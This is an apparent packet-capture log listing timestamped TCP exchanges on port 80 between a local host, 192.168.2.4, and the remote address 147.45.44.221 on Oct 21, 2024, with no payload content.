Oct 21, 2024 08:47:30.589991093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590003967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590014935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590017080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590029955 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590033054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590044975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590054035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590056896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590065002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590078115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590080976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590090036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590099096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590114117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590150118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590172052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590183020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590190887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590200901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590218067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590224028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590240002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590240955 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590250969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590261936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590271950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590271950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590285063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590300083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590310097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590317011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590321064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590329885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590332031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590343952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590354919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590363026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590382099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590389013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590405941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590416908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590416908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590428114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590441942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590486050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590521097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590531111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590549946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590559006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590563059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590569019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590570927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590590000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590596914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590606928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590611935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590620041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590629101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590647936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590647936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590663910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590668917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590679884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590688944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590698957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590715885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590728045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590776920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590786934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590791941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590826988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590850115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590861082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590873003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590898991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590912104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590914965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590925932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590935946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590960979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.590972900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590981960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.590986013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591001987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591008902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591020107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591022015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591033936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591042042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591046095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591054916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591058016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591082096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591088057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591099977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591106892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591139078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591247082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591258049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591267109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591274977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591284990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591295004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591304064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591306925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591315031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591326952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591336012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591336966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591350079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591350079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591362000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.591372013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.591414928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.592169046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.636959076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.637011051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.637022018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.637043953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.637100935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.682929039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.682940960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.682950020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.683010101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.691106081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691137075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691155910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691167116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691178083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691184998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.691189051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691203117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691204071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.691215038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691222906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.691255093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.691282988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691293955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691304922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691314936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691319942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.691325903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691337109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691346884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.691354036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.691375017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.691395044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.706809044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.706876993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.706912994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.706923008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.706928968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.706933975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.706939936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.706943989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.706948042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.706954956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.706995964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707005024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707012892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707016945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707021952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707026958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707040071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707050085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707056046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707060099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707071066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707082987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707092047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707093000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707113981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707132101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707250118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707268953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707278013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707295895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707321882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707343102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707354069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707362890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707377911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707393885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707403898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707429886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707458019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707468033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707487106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707498074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707504988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707508087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707525969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707544088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707549095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707555056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707580090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707592010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707616091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707631111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707639933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707657099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707674980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707689047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707696915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707700968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707732916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707825899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707866907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707899094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707910061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707918882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.707945108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.707968950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708210945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708259106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708309889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708319902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708337069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708348036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708357096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708362103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708389997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708390951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708401918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708412886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708431959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708434105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708442926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708451986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708461046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708475113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708488941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708511114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708578110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708589077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708597898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708606958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708616018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708623886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708648920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708661079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708684921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708729029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708753109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708762884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708769083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708776951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708806038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708808899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708823919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708832979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708843946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708853006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708859921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708865881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708875895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708878994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708889008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708904028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708921909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.708971024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708981037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.708986998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709017038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709034920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709047079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709057093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709069014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709080935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709098101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709119081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709120989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709134102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709144115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709165096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709166050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709176064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709186077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709187031 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709197044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709212065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709212065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709223986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709237099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709249973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709273100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709353924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709363937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709382057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709391117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709398985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709403038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709415913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709423065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709428072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709434986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709448099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709459066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709465981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709479094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709487915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709490061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709501028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709512949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709523916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709525108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709537983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709566116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709594011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709604025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709613085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709640980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709651947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709671974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709682941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709692001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709702015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.709717035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.709741116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710033894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710078001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710099936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710112095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710120916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710138083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710148096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710150957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710164070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710174084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710176945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710186958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710218906 CEST	49732	80	192.168.2.4	147.45.44.221
